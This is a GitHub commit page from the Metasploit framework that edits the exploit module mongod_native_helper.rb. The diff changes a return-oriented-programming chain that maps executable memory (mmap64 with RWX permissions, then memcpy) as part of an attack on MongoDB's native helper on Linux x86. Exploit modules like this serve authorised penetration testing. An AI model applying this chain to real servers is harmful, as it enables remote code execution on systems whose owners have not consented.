Skip to content

Commit cc598bf

Browse files
author
agix
committed
Resolv a problem with mmap64 libc function and its unknown last argument
1 parent 6b639ad commit cc598bf

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/exploits/linux/misc/mongod_native_helper.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,18 +33,18 @@ def initialize(info={})
3333
{
3434
'Arch' => ARCH_X86,
3535
'mmap' => [
36-
0x0816f768, #mmap_64@plt
37-
0x8666d07, #add esp, 0x14 / pop ebx / pop ebp / ret
38-
0x0c0c0000,
36+
0x0816f768, #mmap64@plt
37+
0x8666d07, #add esp, 0x14 / pop ebx / pop ebp / ret
38+
0x31337000,
3939
0x00002000,
4040
0x00000007,
4141
0x00000031,
4242
0xffffffff,
4343
0x00000000,
44-
0x78696761,
44+
0x00000000,
4545
0x0816e4c8, #memcpy@plt
46-
0x0c0c0c0c,
47-
0x0c0c0000,
46+
0x31337000,
47+
0x31337000,
4848
0x0c0b0000,
4949
0x00002000
5050
],

0 commit comments

Comments
 (0)